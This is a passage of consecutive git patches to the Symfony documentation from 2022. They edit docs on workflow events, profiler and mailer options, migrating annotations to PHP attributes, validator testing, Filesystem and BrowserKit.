-                ->requestMatcher('app.firewall.secured_area.request_matcher')
+                ->requestMatcher(CustomRequestMatcher::class)
                 // ...
             ;
         };

From e5c176cd87e7d6ee7297792a7692f05e22465f73 Mon Sep 17 00:00:00 2001
From: Philippe Villiers <kissifrot+gh@gmail.com>
Date: Mon, 14 Feb 2022 22:47:38 +0100
Subject: [PATCH 3529/7107] Workflow - Add a note about guards events and
 ability to save some CPU

---
 workflow.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index b44b417f333..d5aa9b8a5e1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -509,6 +509,16 @@ missing a title::
 
     The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
 
+.. note::
+
+    When using guard listeners which imply intensive workloads (CPU, Database
+    or longer-running code blocks), if you only want them to be fired when strictly
+    necessary (only when ``Workflow::can()`` or ``Workflow::apply()`` is executed),
+    be sure to disable ``Workflow::DISABLE_ANNOUNCE_EVENT`` as indicated in
+    :ref:`Choosing which Events to Dispatch <workflow-chosing-events-to-dispatch>`
+
+.. _workflow-chosing-events-to-dispatch:
+
 Choosing which Events to Dispatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From ab3b1825e4b87dc930b8bbb4eb2a18f84cce36e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 12:41:50 +0200
Subject: [PATCH 3530/7107] Reword

---
 workflow.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 55f780965be..ef6193d02c0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -368,7 +368,6 @@ order:
     * ``workflow.[workflow name].completed``
     * ``workflow.[workflow name].completed.[transition name]``
 
-
 ``workflow.announce``
     Triggered for each transition that now is accessible for the subject.
 
@@ -378,7 +377,12 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
-    You can avoid triggering those events by using the context::
+    After a transition is applied, the announce event tests for all available
+    transitions. That will trigger all :ref:`guard events <workflow-usage-guard-events>`
+    once more, which could impact performance if they include intensive CPU or
+    database workloads.
+
+    If you don't need the announce event, disable it using the context::
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
@@ -509,14 +513,6 @@ missing a title::
 
     The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
 
-.. note::
-
-    When using guard listeners which imply intensive workloads (CPU, Database
-    or longer-running code blocks), if you only want them to be fired when strictly
-    necessary (only when ``Workflow::can()`` or ``Workflow::apply()`` is executed),
-    be sure to disable ``Workflow::DISABLE_ANNOUNCE_EVENT`` as indicated in
-    :ref:`Choosing which Events to Dispatch <workflow-chosing-events-to-dispatch>`
-
 .. _workflow-chosing-events-to-dispatch:
 
 Choosing which Events to Dispatch

From f2f03c8a911d20146688b4d3054a74a5b5f2cf27 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sun, 7 Aug 2022 16:29:01 +0200
Subject: [PATCH 3531/7107] add alternative method to force version with
 symfony/flex

---
 bundles/best_practices.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 64992cae3a9..4cb57c2187d 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -228,6 +228,8 @@ with Symfony Flex to install a specific Symfony version:
 
     # this requires Symfony 5.x for all Symfony packages
     export SYMFONY_REQUIRE=5.*
+    # alternative method: write to the composer.json file
+    # composer config extra.symfony.require "5.*"
 
     # install Symfony Flex in the CI environment
     composer global require --no-progress --no-scripts --no-plugins symfony/flex

From 0902aa4ef753fcac7ef231d14ae5d134d9c0576c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 13:17:59 +0200
Subject: [PATCH 3532/7107] [Cache] Update an argument name to make it
 consistent with other docs

---
 cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index 74d6c30be27..1a2e0f46aaf 100644
--- a/cache.rst
+++ b/cache.rst
@@ -382,8 +382,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $container) {
-                $container->services()
+            return function(ContainerConfigurator $configurator) {
+                $configurator->services()
                     // ...
 
                     ->set('app.cache.adapter.redis')

From 47cb76d2de73c982a72a91ed0125be16711d6155 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Tue, 12 Jul 2022 20:15:41 +0200
Subject: [PATCH 3533/7107] [Filesystem] filesystem > readlink: remove function
 declaration

---
 components/filesystem.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 46c88d73d7d..a56ed09da0b 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -214,9 +214,7 @@ systems (unlike PHP's :phpfunction:`readlink` function)::
 
 Its behavior is the following::
 
-    public function readlink($path, $canonicalize = false)
-
-* When ``$canonicalize`` is ``false``:
+* When ``$canonicalize`` is ``false`` (the default value):
     * if ``$path`` does not exist or is not a link, it returns ``null``.
     * if ``$path`` is a link, it returns the next direct target of the link without considering the existence of the target.
 

From 7fddf4d0f97fd4c1eebbd3091ad7fd224fd55d05 Mon Sep 17 00:00:00 2001
From: Gassan Gousseinov <github-issues@leinertco.com>
Date: Fri, 3 Jun 2022 12:12:16 +0200
Subject: [PATCH 3534/7107] [Mailer] `max_per_second` option configurable via
 DSN

---
 mailer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 466c2ebc65d..48e210fed79 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -272,6 +272,15 @@ Other Options
 
         $dsn = 'smtps://smtp.example.com?ping_threshold=200'
 
+``max_per_second``
+    The number of messages to send per second (0 to disable this limitation)::
+
+        $dsn = 'smtps://smtp.example.com?max_per_second=2'
+
+    .. versionadded:: 6.2
+
+        The ``max_per_second`` option was introduced in Symfony 6.2.
+
 Creating & Sending Messages
 ---------------------------
 

From 83e366a58e50428c78cabc4ec9adaed33621ae3f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Thu, 19 May 2022 22:11:47 +0200
Subject: [PATCH 3535/7107] [FrameworkBundle][HttpKernel] Document
 `collect_parameter`

---
 reference/configuration/framework.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d5ee18b0e1a..821db52837f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1298,6 +1298,24 @@ activate the data collectors manually::
 
     $profiler->enable();
 
+collect_parameter
+.................
+
+**type**: ``string`` **default**: ``null``
+
+This specifies name of query parameter, body parameter or a request attribute
+that can be used to enable or disable collection of data by the profiler
+individually for each request. If ``collect`` flag is set to ``true``,
+but the parameter exists in a request and has any value other than ``true``,
+``yes``, ``on`` or ``1``, the request data will not be collected.
+If ``collect`` flag is set to ``false``, but the parameter exists in a request
+and has value of ``true``, ``yes``, ``on`` or ``1``,
+the request data will be collected.
+
+.. versionadded:: 5.4
+
+    The `collect_parameter` was introduced in Symfony 5.4.
+
 only_exceptions
 ...............
 

From 486df684656e21f68ba85abde625bc1ee8833302 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:20:48 +0200
Subject: [PATCH 3536/7107] Tweaks

---
 reference/configuration/framework.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 267181cb652..d0ad9e24b77 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1312,18 +1312,20 @@ collect_parameter
 
 **type**: ``string`` **default**: ``null``
 
-This specifies name of query parameter, body parameter or a request attribute
-that can be used to enable or disable collection of data by the profiler
-individually for each request. If ``collect`` flag is set to ``true``,
-but the parameter exists in a request and has any value other than ``true``,
-``yes``, ``on`` or ``1``, the request data will not be collected.
-If ``collect`` flag is set to ``false``, but the parameter exists in a request
-and has value of ``true``, ``yes``, ``on`` or ``1``,
-the request data will be collected.
+This specifies name of a query parameter, a body parameter or a request attribute
+used to enable or disable collection of data by the profiler for each request.
+Combine it with the ``collect`` option to enable/disable the profiler on demand:
+
+* If the ``collect`` option is set to ``true`` but this parameter exists in a
+  request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the
+  request data will not be collected;
+* If the ``collect`` option is set to ``false``, but this parameter exists in a
+  request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
+  will be collected.
 
 .. versionadded:: 5.4
 
-    The `collect_parameter` was introduced in Symfony 5.4.
+    The ``collect_parameter`` option was introduced in Symfony 5.4.
 
 only_exceptions
 ...............

From c35506bb309967f131c19e3308f68d2eb8a88838 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:22:25 +0200
Subject: [PATCH 3537/7107] Remove a versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index de52bfc6c1c..f5c1c731a28 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1261,10 +1261,6 @@ Combine it with the ``collect`` option to enable/disable the profiler on demand:
   request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
   will be collected.
 
-.. versionadded:: 5.4
-
-    The ``collect_parameter`` option was introduced in Symfony 5.4.
-
 only_exceptions
 ...............
 

From e6c565b6e726c30e7a47946f4ae598bac578b074 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:34:59 +0200
Subject: [PATCH 3538/7107] Minor tweak

---
 validation.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/validation.rst b/validation.rst
index 87b0ee18c51..7eb6cfd47b8 100644
--- a/validation.rst
+++ b/validation.rst
@@ -25,12 +25,13 @@ install the validator before using it:
 
     $ composer require symfony/validator
     
-If your project still use annotations, ``doctrine/annotations`` is also needed:  
+If your project still uses annotations to define the validation constraints (as
+shown later in this article) you also need to install ``doctrine/annotations``:
 
 .. code-block:: terminal
 
     $ composer require doctrine/annotations
-    
+
 .. note::
 
     If your application doesn't use Symfony Flex, you might need to do some

From f464d5fa5285a342dd9c89f8fe587bd0a9f9724e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 11 Jul 2022 15:28:40 +0200
Subject: [PATCH 3539/7107] Replace annotations by attributes in Serializer and
 Controller

---
 components/property_info.rst          |  4 +--
 controller.rst                        | 12 +++-----
 reference/configuration/framework.rst |  2 +-
 serializer.rst                        | 40 +++++++++------------------
 4 files changed, 20 insertions(+), 38 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index dfd22c9d2b3..cd194ec5773 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -418,7 +418,7 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-annotations>`
+Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
 from the :doc:`Serializer component </components/serializer>`,
 the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
@@ -436,7 +436,7 @@ with the ``property_info`` service in the Symfony Framework::
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-   
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
diff --git a/controller.rst b/controller.rst
index f5879bf6f9e..e72b45a93c5 100644
--- a/controller.rst
+++ b/controller.rst
@@ -33,9 +33,7 @@ class::
 
     class LuckyController
     {
-        /**
-         * @Route("/lucky/number/{max}", name="app_lucky_number")
-         */
+        #[Route('/lucky/number/{max}', name: 'app_lucky_number')]
         public function number(int $max): Response
         {
             $number = random_int(0, $max);
@@ -73,8 +71,8 @@ Mapping a URL to a Controller
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In order to *view* the result of this controller, you need to map a URL to it via
-a route. This was done above with the ``@Route("/lucky/number/{max}")``
-:ref:`route annotation <annotation-routes>`.
+a route. This was done above with the ``#[Route('/lucky/number/{max}')]``
+:ref:`route attribute <annotation-routes>`.
 
 To see your page, go to this URL in your browser: http://localhost:8000/lucky/number/100
 
@@ -205,9 +203,7 @@ If you need a service in a controller, type-hint an argument with its class
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    /**
-     * @Route("/lucky/number/{max}")
-     */
+    #[Route('/lucky/number/{max}')]
     public function number(int $max, LoggerInterface $logger): Response
     {
         $logger->info('We are logging!');
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f5c1c731a28..969454cb7fe 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2667,7 +2667,7 @@ If this option is enabled, serialization groups can be defined using annotations
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-annotations`.
+    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
 
 .. _reference-serializer-name_converter:
 
diff --git a/serializer.rst b/serializer.rst
index 3f9e711971e..6880811d456 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -159,16 +159,10 @@ configuration:
 
 .. _serializer-using-serialization-groups-annotations:
 
-Using Serialization Groups Annotations
---------------------------------------
+Using Serialization Groups Attributes
+-------------------------------------
 
-To use annotations, first add support for them via the SensioFrameworkExtraBundle:
-
-.. code-block:: terminal
-
-    $ composer require sensio/framework-extra-bundle
-
-Next, add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
+You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-annotations>`
 to your class::
 
     // src/Entity/Product.php
@@ -177,29 +171,21 @@ to your class::
     use Doctrine\ORM\Mapping as ORM;
     use Symfony\Component\Serializer\Annotation\Groups;
 
-    /**
-     * @ORM\Entity()
-     */
+    #[ORM\Entity]
     class Product
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         * @Groups({"show_product", "list_product"})
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
+        #[Groups(['show_product', 'list_product'])]
         private $id;
 
-        /**
-         * @ORM\Column(type="string", length=255)
-         * @Groups({"show_product", "list_product"})
-         */
+        #[ORM\Column(type: 'string', length: 255)]
+        #[Groups(['show_product', 'list_product'])]
         private $name;
 
-        /**
-         * @ORM\Column(type="integer")
-         * @Groups({"show_product"})
-         */
+        #[ORM\Column(type: 'integer')]
+        #[Groups(['show_product'])]
         private $description;
     }
 
@@ -215,7 +201,7 @@ You can now choose which groups to use when serializing::
 
     The value of the ``groups`` key can be a single string, or an array of strings.
 
-In addition to the ``@Groups`` annotation, the Serializer component also
+In addition to the ``#[Groups]`` attribute, the Serializer component also
 supports YAML or XML files. These files are automatically loaded when being
 stored in one of the following locations:
 

From b6db179325b8578084825f01b5bee19999c7be3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:45:29 +0200
Subject: [PATCH 3540/7107] Add some needed internal reference

---
 serializer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/serializer.rst b/serializer.rst
index 6880811d456..8c97a629777 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -158,6 +158,7 @@ configuration:
         };
 
 .. _serializer-using-serialization-groups-annotations:
+.. _serializer-using-serialization-groups-attributes:
 
 Using Serialization Groups Attributes
 -------------------------------------

From 7d8f0b35893d0ff038867939987d4cd8e513164f Mon Sep 17 00:00:00 2001
From: Tim Jabs <Rubinum@users.noreply.github.com>
Date: Sat, 6 Aug 2022 23:24:59 +0200
Subject: [PATCH 3541/7107] Add hint for testing custom constraints

---
 validation.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/validation.rst b/validation.rst
index 27f970a701d..a83e1630ed7 100644
--- a/validation.rst
+++ b/validation.rst
@@ -801,6 +801,49 @@ You can also validate all the classes stored in a given directory:
 
     $ php bin/console debug:validator src/Entity
 
+Testing Custom Constraints
+-------------------------
+
+Since custom constraints contain meaningful logic for your application, writing tests is crucial. You can use the ``ConstraintValidatorTestCase`` to write unit tests for custom constraints:
+
+.. code-block:: php
+    class IsFalseValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new IsFalseValidator();
+        }
+        
+        public function testNullIsValid()
+        {
+            $this->validator->validate(null, new IsFalse());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider provideInvalidConstraints
+         */
+        public function testTrueIsInvalid(IsFalse $constraint)
+        {
+            $this->validator->validate(true, $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ value }}', 'true')
+                ->setCode(IsFalse::NOT_FALSE_ERROR)
+                ->assertRaised();
+        }
+
+        public function provideInvalidConstraints(): iterable
+        {
+            yield 'Doctrine style' => [new IsFalse([
+                'message' => 'myMessage',
+            ])];
+            yield 'named parameters' => [new IsFalse(message: 'myMessage')];
+        }
+        
+    }
+
 Final Thoughts
 --------------
 

From 3c97aee0f186bef2c18522cab69d0f59ba1f541b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:24:40 +0200
Subject: [PATCH 3542/7107] Reword

---
 validation.rst                   | 43 --------------------------------
 validation/custom_constraint.rst | 43 ++++++++++++++++++++++++++++++++
 2 files changed, 43 insertions(+), 43 deletions(-)

diff --git a/validation.rst b/validation.rst
index a83e1630ed7..27f970a701d 100644
--- a/validation.rst
+++ b/validation.rst
@@ -801,49 +801,6 @@ You can also validate all the classes stored in a given directory:
 
     $ php bin/console debug:validator src/Entity
 
-Testing Custom Constraints
--------------------------
-
-Since custom constraints contain meaningful logic for your application, writing tests is crucial. You can use the ``ConstraintValidatorTestCase`` to write unit tests for custom constraints:
-
-.. code-block:: php
-    class IsFalseValidatorTest extends ConstraintValidatorTestCase
-    {
-        protected function createValidator()
-        {
-            return new IsFalseValidator();
-        }
-        
-        public function testNullIsValid()
-        {
-            $this->validator->validate(null, new IsFalse());
-
-            $this->assertNoViolation();
-        }
-
-        /**
-         * @dataProvider provideInvalidConstraints
-         */
-        public function testTrueIsInvalid(IsFalse $constraint)
-        {
-            $this->validator->validate(true, $constraint);
-
-            $this->buildViolation('myMessage')
-                ->setParameter('{{ value }}', 'true')
-                ->setCode(IsFalse::NOT_FALSE_ERROR)
-                ->assertRaised();
-        }
-
-        public function provideInvalidConstraints(): iterable
-        {
-            yield 'Doctrine style' => [new IsFalse([
-                'message' => 'myMessage',
-            ])];
-            yield 'named parameters' => [new IsFalse(message: 'myMessage')];
-        }
-        
-    }
-
 Final Thoughts
 --------------
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7bdfcb362e4..548cad58a41 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -338,3 +338,46 @@ not to the property:
                 $metadata->addConstraint(new ProtocolClass());
             }
         }
+
+Testing Custom Constraints
+--------------------------
+
+Use the ``ConstraintValidatorTestCase`` utility to simplify the creation of
+unit tests for your custom constraints::
+
+    // ...
+    use App\Validator\ContainsAlphanumeric;
+    use App\Validator\ContainsAlphanumericValidator;
+
+    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ContainsAlphanumericValidator();
+        }
+
+        public function testNullIsValid()
+        {
+            $this->validator->validate(null, new ContainsAlphanumeric());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider provideInvalidConstraints
+         */
+        public function testTrueIsInvalid(ContainsAlphanumeric $constraint)
+        {
+            $this->validator->validate('...', $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ string }}', '...')
+                ->assertRaised();
+        }
+
+        public function provideInvalidConstraints(): iterable
+        {
+            yield [new ContainsAlphanumeric(message: 'myMessage')];
+            // ...
+        }
+    }

From 37106b4cbdc46001cf4bd9c2ce5cb87dbf4a29d4 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 6 Aug 2022 13:13:13 +0200
Subject: [PATCH 3543/7107] [Filesystem] Add more information about dumpFile

---
 components/filesystem.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d99e6036a27..1466b29127d 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -300,6 +300,12 @@ complete new file (but never a partially-written file)::
 
 The ``file.txt`` file contains ``Hello World`` now.
 
+If either the file or its containing directory doesn't exist, this method
+creates them.
+
+After writing the temporary file, this method use :method:`Symfony\\Component\\Filesystem\\Filesystem::rename`
+and set the third argument to true, so if the file exists, it will be overridden and the old content inside will be lost.
+
 ``appendToFile``
 ~~~~~~~~~~~~~~~~
 

From 31a6ff18f381db9658045fba617b73b1e5bc5fb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:36:56 +0200
Subject: [PATCH 3544/7107] Reword

---
 components/filesystem.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index ab644b780d9..67e6c745c14 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -293,21 +293,16 @@ exception on failure::
 ~~~~~~~~~~~~
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::dumpFile` saves the given
-contents into a file. It does this in an atomic manner: it writes a temporary
-file first and then moves it to the new file location when it's finished.
-This means that the user will always see either the complete old file or
-complete new file (but never a partially-written file)::
+contents into a file (creating the file and its directory if they don't exist).
+It does this in an atomic manner: it writes a temporary file first and then moves
+it to the new file location when it's finished. This means that the user will
+always see either the complete old file or complete new file (but never a
+partially-written file)::
 
     $filesystem->dumpFile('file.txt', 'Hello World');
 
 The ``file.txt`` file contains ``Hello World`` now.
 
-If either the file or its containing directory doesn't exist, this method
-creates them.
-
-After writing the temporary file, this method use :method:`Symfony\\Component\\Filesystem\\Filesystem::rename`
-and set the third argument to true, so if the file exists, it will be overridden and the old content inside will be lost.
-
 ``appendToFile``
 ~~~~~~~~~~~~~~~~
 

From f1f5f7d86319fa170a37df2f4aaed4c1b9396098 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:59:43 +0200
Subject: [PATCH 3545/7107] Minor tweak

---
 components/browser_kit.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 815a42922f5..9a618d8bad2 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -331,9 +331,8 @@ Dealing with HTTP responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When using the BrowserKit component, you may need to deal with responses of
-the requests you made. To do so, you need to call the ``getResponse()``
-method of the ``HttpBrowser`` object. This method retrieves the last response
-the browser received::
+the requests you made. To do so, call the ``getResponse()`` method of the
+``HttpBrowser`` object. This method returns the last response the browser received::
 
     $browser = new HttpBrowser(HttpClient::create());
 

From ce6ebfb3d6caf6bf2ed21a372de3069215a77940 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 16:47:42 +0200
Subject: [PATCH 3546/7107] [BrowserKit] Add response management to BrowserKit
 documentation

---
 components/browser_kit.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index a2afe27c0bc..488bc44d385 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -343,12 +343,15 @@ dedicated web crawler or scraper such as `Goutte`_::
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
 
+<<<<<<< HEAD
 .. tip::
 
     You can also use HTTP client options like ``ciphers``, ``auth_basic`` and
     ``query``. They have to be passed as the default options argument to the
     client which is used by the HTTP browser.
 
+=======
+>>>>>>> 4f790b856 ([BrowserKit] Add response management to BrowserKit documentation)
 Dealing with HTTP responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -361,6 +364,20 @@ the requests you made. To do so, call the ``getResponse()`` method of the
     $browser->request('GET', 'https://foo.com');
     $response = $browser->getResponse();
 
+If you're making requests that result in a JSON response, you may use the
+``toArray()`` method to turn the JSON document into a PHP array without having
+to call ``json_decode()`` explicitly::
+
+    $browser = new HttpBrowser(HttpClient::create());
+
+    $browser->request('GET', 'https://api.foo.com');
+    $response = $browser->getResponse()->toArray();
+    // $response is a PHP array of the decoded JSON contents
+
+.. versionadded:: 6.1
+
+    The ``toArray()`` method was introduced in Symfony 6.1.
+
 Learn more
 ----------
 

From ff5032db4047466f0f02d1f68bc8e21d64972671 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 21 Jul 2022 17:14:44 +0200
Subject: [PATCH 3547/7107] Update event_dispatcher.rst

---
 components/event_dispatcher.rst | 43 +++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 206fde3fc99..589f015c64d 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -402,6 +402,49 @@ Take the following example of a subscriber that subscribes to the
         }
     }
 
+You can also leverage the :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+attribute to configure your class as a listener on event::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener]
+    final class MyListener
+    {
+        public function __invoke(CustomEvent $event): void
+        {
+            // ...
+        }
+    }
+
+or any of a class methods like so::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')]
+    #[AsEventListener(event: 'foo', priority: 42)]
+    #[AsEventListener(event: 'bar', method: 'onBarEvent')]
+    final class MyMultiListener
+    {
+        public function onCustomEvent(CustomEvent $event): void
+        {
+            // ...
+        }
+
+        public function onFoo(): void
+        {
+            // ...
+        }
+
+        public function onBarEvent(): void
+        {
+            // ...
+        }
+    }
+
 This is very similar to a listener class, except that the class itself can
 tell the dispatcher which events it should listen to. To register a subscriber
 with the dispatcher, use the

From 460818ffa76a885963b2e9b12bd13bfab427f935 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 17:30:17 +0200
Subject: [PATCH 3548/7107] Reorganized contents

---
 components/event_dispatcher.rst | 43 -----------------------------
 event_dispatcher.rst            | 48 +++++++++++++++++++++++++++++++++
 2 files changed, 48 insertions(+), 43 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 589f015c64d..206fde3fc99 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -402,49 +402,6 @@ Take the following example of a subscriber that subscribes to the
         }
     }
 
-You can also leverage the :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
-attribute to configure your class as a listener on event::
-
-    namespace App\EventListener;
-
-    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
-
-    #[AsEventListener]
-    final class MyListener
-    {
-        public function __invoke(CustomEvent $event): void
-        {
-            // ...
-        }
-    }
-
-or any of a class methods like so::
-
-    namespace App\EventListener;
-
-    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
-
-    #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')]
-    #[AsEventListener(event: 'foo', priority: 42)]
-    #[AsEventListener(event: 'bar', method: 'onBarEvent')]
-    final class MyMultiListener
-    {
-        public function onCustomEvent(CustomEvent $event): void
-        {
-            // ...
-        }
-
-        public function onFoo(): void
-        {
-            // ...
-        }
-
-        public function onBarEvent(): void
-        {
-            // ...
-        }
-    }
-
 This is very similar to a listener class, except that the class itself can
 tell the dispatcher which events it should listen to. To register a subscriber
 with the dispatcher, use the
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c8a25ac1bcd..3c6020c145d 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -134,6 +134,54 @@ listener class:
     internal Symfony listeners usually range from ``-256`` to ``256`` but your
     own listeners can use any positive or negative integer.
 
+Defining Event Listeners with PHP Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+An alternative way to define an event listener is to use the
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+PHP attribute. This allows to configure the listener inside its class, without
+having to add any configuration in external files::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener]
+    final class MyListener
+    {
